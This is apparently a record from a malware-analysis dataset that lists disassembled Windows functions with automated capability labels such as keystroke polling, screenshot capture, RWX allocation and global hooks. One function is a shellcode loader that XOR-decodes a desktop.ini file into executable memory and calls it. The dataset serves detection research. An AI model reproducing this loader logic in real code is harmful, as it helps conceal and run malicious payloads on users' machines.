joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41ae78
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
lea ebx, [ebp - 0xc]
mov esi, 0x454884
cmp dword [esi], 0
jne 0x41af1e
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov edx, dword [0x454880]
mov dword [eax], edx
mov eax, dword [ebp - 8]
lea edx, [eax + 4]
mov eax, 0x4523f0
mov ecx, 2
call fcn.00402c88
mov edx, 0x41ae50
mov eax, dword [ebp - 8]
add eax, 5
call fcn.0041ae70
mov edx, dword [ebp - 8]
mov dword [edx + 6], eax
mov eax, dword [ebp - 8]
add eax, 0xa
mov dword [ebx], eax
mov eax, dword [ebx]
mov byte [eax], 0xe8
mov eax, dword [ebp - 8]
lea edx, [eax + 4]
mov eax, dword [ebx]
call fcn.0041ae70
mov edx, dword [ebx]
mov dword [edx + 1], eax
mov eax, dword [ebx]
mov edx, dword [esi]
mov dword [eax + 5], edx
mov eax, dword [ebx]
mov dword [esi], eax
add dword [ebx], 0xd
mov eax, dword [ebx]
sub eax, dword [ebp - 8]
cmp eax, 0xffc
jl 0x41aee5
mov eax, dword [ebp - 8]
mov dword [0x454880], eax
mov eax, dword [esi]
mov dword [ebp - 4], eax
mov eax, dword [esi]
mov dword [ebx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 5]
mov dword [esi], eax
mov eax, dword [ebx]
mov edx, dword [ebp + 8]
mov dword [eax + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [eax + 9], edx
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x41c0fc
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41c102
ret

Function at 0x41e574
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41e5c5
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41e5ac
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41e59c
jmp 0x41e5c5
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41e5ad
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42ad88
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x42acd4
call sub.user32.dll_EnumWindows
ret

Function at 0x42aea8
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x42af25
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0042a908
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x42aecd
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.0042a508
cmp dword [ebp - 4], 0
je 0x42af0f
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.00404b54
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42af2c
lea eax, [ebp - 4]
call fcn.00404694
ret

Function at 0x42ddc4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x454ae8], 0
je 0x42df13
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x452fb8]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x42df13
mov eax, dword [0x454aec]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x454ae8]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x42dee2
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x454ae8]
call fcn.00414364
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x42deda
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x42deda
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x42deda
mov eax, dword [ebp - 0x14]
call fcn.00436a50
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x42deda
push ebp
call fcn.0042dd80
pop ecx
test al, al
jne 0x42deda
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x42de96
mov eax, dword [ebp - 0x14]
call fcn.00435580
dec eax
jle 0x42deda
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.00403b28
cmp byte [ebp - 1], 0
je 0x42deda
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x42deda
mov edx, dword [ebp - 0x14]
mov eax, dword [0x454aec]
call fcn.0042d54c
inc edi
dec ebx
jne 0x42de29
mov eax, dword [0x454aec]
cmp dword [eax + 8], 0
jle 0x42defa
mov eax, dword [0x454aec]
call fcn.0042d5dc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x42df13
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0042dbe8
pop ecx
test al, al
jne 0x42df13
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x431514
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x431560
mov eax, esi
call fcn.00446c5c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x431560
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x431560
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x43169f
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x4315a0
cmp eax, 0x108
ja 0x4315a0
mov eax, esi
call fcn.00446c5c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x431696
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x43169f
jmp 0x431696
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x43167f
cmp eax, 0x20a
ja 0x43167f
test byte [esi + 0x50], 0x80
jne 0x4315d2
sub eax, 0x203
je 0x4315cf
sub eax, 3
je 0x4315cf
sub eax, 3
jne 0x4315d2
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x4315e6
dec eax
je 0x4315fb
dec eax
je 0x431618
dec eax
je 0x4315fb
jmp 0x43161f
mov ecx, ebx
mov eax, dword [0x452fb8]
mov eax, dword [eax]
mov edx, esi
call fcn.00450524
jmp 0x431696
cmp byte [esi + 0x5d], 1
jne 0x431611
mov eax, esi
mov si, 0xffed
call fcn.00403b28
jmp 0x43169f
or word [esi + 0x54], 1
jmp 0x431696
and word [esi + 0x54], 0xfffe
jmp 0x431696
mov eax, dword [0x454aa4]
cmp byte [eax + 0x20], 0
je 0x431696
mov eax, dword [0x454aa4]
cmp dword [eax + 0x1c], 0
je 0x431696
mov eax, dword [ebx]
mov edx, dword [0x454aa4]
cmp eax, dword [edx + 0x1c]
jne 0x431696
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.00446ba0
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.00403b28
jmp 0x43169f
cmp eax, 0xb00b
jne 0x431696
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.0042fe28
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x434be0
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x434bfc
cmp dword [esi + 4], 0
je 0x434c29
test byte [ebx + 0x55], 1
jne 0x434c1b
mov eax, ebx
call fcn.00433780
test eax, eax
jne 0x434c1b
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x434d39
mov edx, esi
mov eax, ebx
call fcn.00434704
jmp 0x434d39
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x434d32
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00436a50
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00431448
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.00434be0
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00436a50
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x434d39
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43b2d0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x453114]
cmp byte [eax + 0xc], 0
je 0x43b43d
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43b436
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x454af8], 0
jne 0x43b324
push 0x43b444
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x43b44c
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454af8], eax
cmp dword [0x452b18], 0
jne 0x43b41f
push 0x43b45c
call sub.kernel32.dll_LoadLibraryA
mov dword [0x452b18], eax
cmp dword [0x452b18], 0
je 0x43b41f
push 0x43b468
mov eax, dword [0x452b18]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454afc], eax
push 0x43b478
mov eax, dword [0x452b18]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b00], eax
push 0x43b48c
mov eax, dword [0x452b18]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b04], eax
push 0x43b4a4
mov eax, dword [0x452b18]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b08], eax
push 0x43b4bc
mov eax, dword [0x452b18]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b0c], eax
push 0x43b4d0
mov eax, dword [0x452b18]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b10], eax
push 0x43b4e8
mov eax, dword [0x452b18]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b14], eax
push 0x43b500
mov eax, dword [0x452b18]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b18], eax
push 0x43b51c
mov eax, dword [0x452b18]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b1c], eax
push 0x43b528
mov eax, dword [0x452b18]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x454b20], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43b43d
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x43f2f0
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404694
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x43f33f
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404904
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x446b10
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x446b60]
test si, 4
je 0x446b24
or bl, 1
test si, 8
je 0x446b2e
or bl, 4
test si, 1
je 0x446b38
or bl, 8
test si, 2
je 0x446b42
or bl, 0x10
test si, 0x10
je 0x446b4c
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x446b5b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x446b64
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x446b9c]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x446b7d
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x446b8c
or bl, 4
test esi, 0x20000000
je 0x446b97
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x44d260
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x44d272
add esp, 0xfffffff0
call fcn.00403c40
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419dd0
mov eax, dword [0x452e08]
mov dword [eax + 4], ebx
mov dword [eax], 0x44d604
mov eax, dword [0x452e14]
mov dword [eax + 4], ebx
mov dword [eax], 0x44d610
mov eax, ebx
call fcn.0044d61c
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x411fe8]
call fcn.004038f0
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x411fe8]
call fcn.004038f0
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x411fe8]
call fcn.004038f0
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x411fe8]
call fcn.004038f0
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x411fe8]
call fcn.004038f0
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x449a34
push eax
push 0
push 0
mov eax, dword [0x452f44]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41b800]
call fcn.0041cc68
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41b800]
call fcn.0041cc68
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41b800]
call fcn.0041cc68
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0044da6c
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44d934
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44d934
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44d934
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44d3af
call fcn.00403c98
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x44d718
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44d8c3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44d8a4
mov dl, 1
mov eax, dword [0x412404]
call fcn.004038f0
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404694
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44d893
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0043b630
test al, al
je 0x44d886
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44d8d4
lea eax, [ebp - 0x254]
call fcn.004093a0
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44d886
xor eax, eax
push ebp
push 0x44d87f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44d90c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44d868
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404904
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44d868
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404904
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44d886
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44d789
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00415f68
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44d8ca
lea eax, [ebp - 0x260]
call fcn.00404694
ret

Function at 0x44e20c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x454b44]
cmp byte [eax + 0xa5], 0
jne 0x44e27d
cmp dword [0x454b5c], 0
jne 0x44e23e
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44e1c8
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x454b5c], eax
cmp dword [0x454b58], 0
jne 0x44e259
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x454b58], eax
cmp dword [0x454b60], 0
jne 0x44e27d
push esp
push 0
push 0
push 0x44e16c
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x454b60], eax
pop edx
ret
Function at 0x44e910
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x454b44]
cmp dword [eax + 0x30], 0
je 0x44e9ba
cmp dword [ebx + 0x94], 0
jne 0x44e9b4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44e8a0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44e9b4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44e97a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44e9b4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414364
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44e989
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44f518
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44f54d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404784
jmp 0x44f55a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004046e8
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45066c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4506ad
mov eax, esi
call fcn.00436d54
test al, al
je 0x4506ad
mov eax, dword [ebx + 0x84]
call fcn.00436a50
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4506ad
push 0
mov eax, dword [ebx + 0x84]
call fcn.00436a50
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x403059
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x403084
mov ecx, dword [0x447798]
push esi
add eax, ecx
push esi
push eax
mov dword [0x4204dc], eax
push dword [0x40a01c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 4
call fcn.00403161
cmp eax, esi
jl 0x40315b
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00405ce5
test eax, eax
je 0x40314b
push dword [ebp + 8]
add dword [0x4204dc], 4
call fcn.00403161
mov ebx, eax
cmp ebx, esi
jl 0x403159
cmp dword [ebp + 0x10], esi
jne 0x403127
cmp dword [ebp + 8], esi
jle 0x403159
mov esi, 0x41c4d8
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x4030e9
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00405ce5
test eax, eax
je 0x40314b
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00405d14
test eax, eax
je 0x403123
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x4204dc], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4030d8
jmp 0x403159
push 0xfffffffffffffffe
jmp 0x40314d
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403132
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403150
push 0xfffffffffffffffd
pop eax
jmp 0x40315b
mov ebx, dword [ebp - 4]
add dword [0x4204dc], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10

Function at 0x40405f
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x40409a
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x404081
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x404092
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x40409c
inc edi
add eax, 0x28
cmp edi, esi
jb 0x404077
xor eax, eax
pop edi
pop esi
ret

Function at 0x405f88
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.00403f90
add esp, 0xc
jmp 0x405f97

Function at 0x4063fe
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x406422
xor eax, eax
test eax, eax
je 0x406434
cmp byte [ebp + eax - 0x121], 0x5c
je 0x406434
xor ecx, ecx
jmp 0x406437
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4